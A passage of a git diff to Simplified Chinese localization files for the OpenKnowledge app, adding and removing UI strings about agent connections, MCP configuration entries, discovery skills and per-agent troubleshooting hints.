中指向它的内容将失效,直到重新创建为止。"],- "psfGPX": ["MCP 连接"],"psl2Sj": ["你的更改还在保存中——请稍后再运行一次测试。"],"ptQ3_N": ["取消链接"],"pvnfJD": ["深色"],@@ -3744,6 +3859,7 @@"q4YJl_": ["终端会话已结束(退出码 ", ["0"], ")。"],"q4efaG": [["filePath"], " 已不在此技能中"],"q6-JVU": ["正在加载页面"],+ "q63KUv": ["添加 MCP 和技能"],"q7F5am": ["标题"],"q8aCbb": ["“", ["0"], "”有两个版本——来源与 ", ["editor"]],"qAQVSD": ["页面标题响应不是 JSON"],@@ -3793,10 +3909,12 @@"qlAIQ1": ["远程"],"qo4zCg": ["路径不能包含反斜杠"],"qpQwGC": ["描述一下你在做什么,智能体会为你搭建好。"],+ "qr2gAH": ["选择 OpenKnowledge 为 ", ["0"], " 设置的内容。"],"qribBG": ["架构 ", ["deleteTarget"]],"qtnmEX": ["输入有效的主题名称。"],"qvWGzP": ["全部折叠"],"qyLmWw": ["源码编辑器搜索面板"],+ "qze9od": ["此文件夹同时也属于 ", ["alsoAffects"], "。"],"r-OJYm": ["请输入有效的分支名(不能有空格、不能以点开头、不能包含 \"..\")。"],"r2eKE3": ["请先登录 ", ["agentName"]],"r4R7AZ": ["清理过程中出现网络错误"],@@ -3880,6 +3998,7 @@"s1c0ja": ["无序列表"],"s3caR3": ["正在删除"],"s7us1p": ["只允许 PNG、JPEG 或 WebP 图片。"],+ "s8difl": ["没有该技能,智能体仍可工作,但会失去编辑归属和实时预览。"],"sAP9XO": [["0"], " 插件 · ", ["1"]],"sE7R19": ["无法加载模板:", ["templatesError"], "。你仍然可以创建空白笔记。"],"sER-bs": ["文件"],@@ -3961,6 +4080,7 @@"tA0b9E": ["默认的技能文件夹(保存后会显示确切路径)"],"tA2-xC": ["“", ["0"], "”已添加过(内容相同)。"],"tAPZEx": ["下方"],+ "tCE-ZH": ["OpenKnowledge 无法识别此条目,且无法在此文件格式中安全替换。"],"tCyvAw": ["附加文件"],"tHKQ6j": ["正在重命名"],"tKlWWY": ["表情符号"],@@ -3995,6 +4115,51 @@"tnG-m6": ["自动同步已暂停——请登录以继续。"],"toyw51": ["Mermaid 图示控件"],"tqQBwN": ["任何脚本都只会展示以供查看,绝不会运行。"],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " 会在每个 OpenKnowledge 工具首次使用时请你批准。"+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "如果 ",+ ["agent"],+ " 没有显示 OpenKnowledge 工具,请在这个项目中运行它,并批准 OpenKnowledge 服务器一次。"+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " 桌面应用会忽略这个项目配置;只有 ",+ ["agent"],+ " 命令行会读取它。"+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " 读取 OpenKnowledge 为 ",+ ["sourceAgent"],+ " 写入的工作区 MCP 配置;为其中一方移除就等于为双方移除。"+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "如果 ",+ ["agent"],+ " 没有显示 OpenKnowledge 工具,请在 Settings → Tools & MCP 中开启该服务器;在你开启之前,",+ ["agent"],+ " 会保持项目服务器关闭。"+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "如果 ",+ ["agent"],+ " 没有显示 OpenKnowledge 工具,请检查它设置中的 MCP 配置路径是否与 OpenKnowledge 写入的文件一致。"+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ " 的中央技能库还不存在;先启动一次 ",+ ["agent"],+ " 让它创建,然后再试。"+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " 只会在你信任过的文件夹中加载项目扩展;如果工具没有出现,请在 ",+ ["agent"],+ " 中信任这个文件夹。"+ ],"tsiTqO": ["粘贴你的 API 密钥"],"tvMvze": ["无法将“", ["targetName"], "”移到", ["trashNoun"], "。是否要改为永久删除?"],"txUHO8": ["第 ", ["displayLine"], " 行:", ["localizedMessage"]],@@ -4039,6 +4204,7 @@"uUCrBv": ["符号链接"],"uV3EYs": ["你的图片"],"uVbUP8": ["设置…"],+ "uVhq9B": ["为此智能体安装 OpenKnowledge 发现技能。"],"uX85yl": ["配置文件包括:<0>.ok/</0>、AI 工具的 MCP 配置(<1>.mcp.json</1> 及各工具自己的文件)。你的技能不在其中:它们和项目里的其他文件一样受 git 管理。<2/><3>共享</3>会把它们提交到 git,因此克隆这个仓库的人都会得到相同的配置。<4/><5>仅自己</5>会把它们排除在 git 之外(通过 <6>.git/info/exclude</6>)。"],@@ -4128,6 +4294,7 @@"vvWZnu": ["无法显示差异"],"vwV-kH": ["修复文件的过程意外中止。"],"vy_VIN": ["受 git 跟踪——更新通过你的仓库(pull 或 CI)流入,而不是自动更新"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " 项更改"], "other": ["#", " 项更改"] }]],"w0YVAE": ["显示技能节点"],"w3tVpc": ["还没有链接。添加维基链接或 markdown 链接来构建关系图。"],"w3vFfL": ["隐藏「文件」"],@@ -4159,6 +4326,7 @@"wQp1V3": ["<0>", ["src"], "</0> 的镜像"],"wQvvZY": ["新建技能文件"],"wRni1Z": ["禁用 Slidev"],+ "wSBXaS": ["管理 ", ["rowLabel"]],"wT4iQr": ["打开可视化编辑器的查找,并展开替换控件。"],"wTcjov": ["无工作区"],"wU8WyK": ["元素字段"],@@ -4180,7 +4348,9 @@"wdxz7K": ["源码"],"wdzBgi": ["配置共享现在为「仅自己」。"],"weP6me": ["无法加载文档——再输入一次 @ 重试"],+ "wfZwqe": ["安装 ", ["rowLabel"]],"wgNoIs": ["全选"],+ "wgj--j": ["为此智能体添加全局 OpenKnowledge MCP 条目。"],"wk_v1X": ["这个 worktree 的同步已设为「自动(拉取和推送)」,继承自 ",["project"],@@ -4305,7 +4475,6 @@"yZmvQ4": ["这个项目的服务器(v", ["0"], ")比这个应用(v", ["1"], ")新。"],"y_5CE8": ["项目 ", ["0"]],"y_K0Dz": ["发生了什么?"],- "yaPGPa": ["请打开一个项目,以管理它与 AI 工具的连接。"],"ybPMz3": ["无法置顶 ", ["name"]],"ycIX5i": ["你已退出登录——请登录以继续同步。"],"yckias": ["重命名文件"],@@ -4322,9 +4491,6 @@["source"],"</0>,在此运行的智能体无法加载它。请将其复制进来以便编辑。"],- "yhdqox": [- "已安装——ok 可在外部终端中使用。取消勾选会将其移除;OpenKnowledge 的内置终端和 AI 工具照常可用。"- ],"yhy5h-": ["查看全部 ", ["count"], " 个技能"],"yit5dF": ["此项目中还没有文件夹。"],"yjExfe": ["分支 <0>", ["shareBranch"], "</0> 已在以下位置检出:"],@@ -4337,7 +4503,6 @@"yvG-l1": ["打开源码检查面板"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["停止修复。已修复的文件保持已修复状态。"],- "ywVfOE": ["本项目的技能已移至技能工作室。"],"yxF19Y": [["0", "plural", { "other": ["#", " 个插件"] }]],"yz7wBu": ["关闭"],"yzF66j": ["链接"],diff --git a/packages/app/src/locales/zh-Hans/messages.po b/packages/app/src/locales/zh-Hans/messages.poindex 980cc8c49..c8d37e704 100644--- a/packages/app/src/locales/zh-Hans/messages.po+++ b/packages/app/src/locales/zh-Hans/messages.po@@ -330,6 +330,12 @@ msgstr "{0} 允许 {1} 无需询问即可执行"msgid "{0} needs {1}"msgstr "{0} 需要 {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} 需要 {1}。请同时关闭两者,或同时保持开启。"+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} 年前"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel}(冲突)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} 会在每个 OpenKnowledge 工具首次使用时请你批准。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "每次 OpenKnowledge 启动 {agent} 时都会把 OpenKnowledge 的工具交给它;不会向它的配置写入任何内容。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} 只会在你信任过的文件夹中加载项目扩展;如果工具没有出现,请在 {agent} 中信任这个文件夹。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} 读取 OpenKnowledge 为 {sourceAgent} 写入的工作区 MCP 配置;为其中一方移除就等于为双方移除。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent} 的中央技能库还不存在;先启动一次 {agent} 让它创建,然后再试。"+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} 无法开始对话。"@@ -520,6 +551,10 @@ msgstr "{boldName} 属于 <0>{0}</0> 插件{pluginVersion},为只读。{boldHamsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} 位于本项目之外的 <0>{source}</0>,在此运行的智能体无法加载它。请将其复制进来以便编辑。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# 项更改} other {# 项更改}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, other {字符}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, other {# 天前}}"msgid "{days}d ago"msgstr "{days} 天前"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 无法在此文件格式中安全地替换该条目。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} 需要 {prerequisite},但 OpenKnowledge 在该设备上找不到此智能体。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 无法识别该条目。勾选 {prerequisite} 以替换它,然后重新保存。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} 需要 {prerequisite},而此智能体在该设备上尚无此类文件。请先打开该智能体,然后重试。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 无法为你设置它。其设置指南中有手动步骤。"+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — 渲染出错,可在下方编辑源码"@@ -650,7 +705,7 @@ msgstr "{displayName}({bin})未安装,也不在你的 PATH 中。"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI,{hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> 不是已知的组件。复制源码以便在别处使msgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> 渲染失败(很可能是属性有误)。复制源码看看哪里出了问题,或删除这个块。"-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "无论如何 <0>~/.ok/bin</0> 和 <1>~/.ok/env.sh</1> 都会保留——应用始终会维护它们。"-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>镜像——请选择一个来源。</0>在属性面板中设置 <1>src</1> + <2>anchor</2>,指向别处的 <3><MirrorSource></3>。"@@ -1493,6 +1544,14 @@ msgstr "向 {keyName} 添加项目"msgid "Add link"msgstr "添加链接"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "添加 MCP 和技能"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "为 {rowLabel} 添加 MCP 和技能"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "为搜索加入基于语义的排序,即使没有共同关键词,概念相关的页面也能被找到。"@@ -1531,10 +1590,9 @@ msgstr "添加标签页"msgid "Add tag"msgstr "添加标签"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "把 <0>ok</0> 命令添加到你的终端"@@ -1568,16 +1626,15 @@ msgstr "把你的评论写在这条消息里"msgid "Added"msgstr "已添加"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "为此智能体添加全局 OpenKnowledge MCP 条目。"+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "添加一个受管理的块到"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "添加一个受管理的块到 {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "向 <0>{toolList}</0> 添加 OpenKnowledge 的 MCP 条目和项目技能msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "向 <0>{connectToolList}</0> 添加 OpenKnowledge 的 MCP 条目,让你的智能体可以读取和编辑你的文件。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "向此项目的智能体配置添加 OpenKnowledge MCP 条目。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "把 OpenKnowledge 加入 {agent} 自己的 MCP 配置,这台机器上的每个项目都能访问。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "把 OpenKnowledge 加入 {agent} 在这个项目中读取的 MCP 配置,让它可以读取、搜索和编辑这些文档。"+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "在可用时附上遥测数据、服务器状态和运行时信息。凭据始终会被移除;如果包含文档名,它们会以明文出现(不做隐去)。"@@ -1640,6 +1711,11 @@ msgstr "智能体对话"msgid "Agent configuration file"msgstr "智能体配置文件"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "智能体连接"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "智能体模式"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "智能体记录"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "智能体"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI 工具管理仅在 OpenKnowledge 桌面应用中可用。"--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI 工具"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI 工具与 CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "居中对齐"@@ -2397,14 +2464,6 @@ msgstr "标注框用于突出关键信息。"msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "项目不能嵌套。<0>{rootPath}</0> 处已存在一个 OpenKnowledge 项目。请选择它之外的位置,或者直接打开那个项目。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "无法安全地编辑这个项目的配置"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "无法安全地编辑这个工具的配置"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "无法共享此路径。"@@ -2433,6 +2492,7 @@ msgstr "无法共享此路径。"#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "选择图标"msgid "Choose what a new tab starts"msgstr "选择新标签页启动的内容"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "选择 OpenKnowledge 为 {0} 设置的内容。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "选择 OpenKnowledge 设置的内容。"+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "选择把这些评论发送到哪里"@@ -2671,9 +2740,9 @@ msgstr "选择把这条消息发送到哪里"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "选择这个项目的 OpenKnowledge 配置(包括它与 AI 工具的连接)是随项目一起保存、让队友也能获得,还是只留在你的电脑上。"-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "选择哪些智能体显示在应用的智能体菜单中,例如 Ask AI、Open with AI 和 + 新对话按钮。关闭某个智能体即可在所有菜单中隐藏它。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "选择哪些智能体显示在应用的智能体菜单中,并进行设置,让它们能够读取和更新你的文档。"#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "配置警告"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "请先连接 GitHub 再继续。"msgid "Connect OpenKnowledge to other tools you use."msgstr "把 OpenKnowledge 与你使用的其他工具连接起来。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "把你使用的 AI 工具连接到这个具体项目。这些文件保存在项目文件夹中,因此打开它的人都会得到相同的配置。"-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "连接你的 AI 工具"msgid "Connect your AI tools to this project"msgstr "将你的 AI 工具连接到本项目"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "已连接"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "连接出错——请重试"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "连接已断开——请保持这个标签页打开,重新连接后你的编辑会同步"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "下次你在受信任的 Codex 会话中打开这个项目时会自动连接。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "下次你在受信任的 {agent} 会话中打开这个项目时会自动连接。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "将智能体连接到本机所有项目中的 OpenKnowledge。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "将智能体连接到此项目,使其可以读取、搜索和编辑你的文档。"#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "无法添加那条评论。"#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "无法应用该更改:{0}"@@ -3673,6 +3748,10 @@ msgstr "无法应用该更改:{0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "无法确认 {filePath} 是否仍有冲突 — 正在重试。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "无法检查哪些工具已连接。"+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "无法清除密钥——请重试。"@@ -3948,7 +4027,7 @@ msgstr "无法连接到协作服务器——{errorDetail}。可尝试 <0>ok statmsgid "Couldn't reach GitHub. Try again?"msgstr "无法连接到 GitHub。要重试吗?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "无法连接到智能体注册表。"@@ -4401,11 +4480,6 @@ msgstr "自定义端点"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "带实时预览面板的自定义 HTML(沙箱 iframe)。"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "自定义 open-knowledge 条目——不由 OpenKnowledge 管理"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "自定义技能文件夹路径"@@ -4776,6 +4850,10 @@ msgstr "断开连接"msgid "Disconnecting"msgstr "正在断开连接"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "发现技能由所有 AI 工具统一管理。请从“设置”→“技能工作室”安装此技能。"+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "初始内容为空"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "启用 {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "启用 {displayName} CLI"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "启用 {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "输入有效的 URL,例如 https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "输入你的隧道所服务的公开来源,例如 https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "条目"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "错误"@@ -5563,7 +5636,7 @@ msgstr "公开时会固定一个端口,使隧道的目标在重启后保持稳#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "外部应用"@@ -5947,8 +6020,6 @@ msgstr "字段"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub、一个 git URL,或一个本地路径。"msgid "Give it a name before editing its colors."msgstr "请先命名主题,再编辑颜色。"-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "让你使用的 AI 工具能够读取和更新你的项目。勾选即刻生效;取消勾选则移除。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "为智能体提供处理你文档的说明,并保留其编辑的归属记录。"#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "这个架构适用的 glob 模式"msgid "Global"msgstr "全局"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "全局 MCP 服务器"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "文本字段之外的全局范围"@@ -6509,6 +6584,7 @@ msgstr "帮助"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "帮助你的智能体在任意项目中发现并使用 OpenKnowledge。"@@ -6718,15 +6794,13 @@ msgstr "这台电脑从你的远程仓库拉取更改的频率。"msgid "How to push manually"msgstr "如何手动推送"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "如何设置"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "如何设置 {0}(在浏览器中打开)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "如何设置 {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID:{0}"msgid "Identical in both — {pick} still reads them."msgstr "两边完全相同,{pick} 仍会读取它们。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "如果 {agent} 没有显示 OpenKnowledge 工具,请检查它设置中的 MCP 配置路径是否与 OpenKnowledge 写入的文件一致。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "如果 {agent} 没有显示 OpenKnowledge 工具,请在这个项目中运行它,并批准 OpenKnowledge 服务器一次。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "如果 {agent} 没有显示 OpenKnowledge 工具,请在 Settings → Tools & MCP 中开启该服务器;在你开启之前,{agent} 会保持项目服务器关闭。"+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "如果你正在编辑的内容收到更新,你可以像处理合并冲突那样选择保留哪个版本。"@@ -6888,7 +6977,7 @@ msgstr "在索引文档中:条目位于节标题下,每个条目都带有一#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "在应用内"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "通过 CodeMirror 的默认按键映射,在源码编辑器中插入、删除、移动、复制和缩进行。"#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "安装 {0}"msgid "Install {brand} →"msgstr "安装 {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "安装 {rowLabel}"+#: 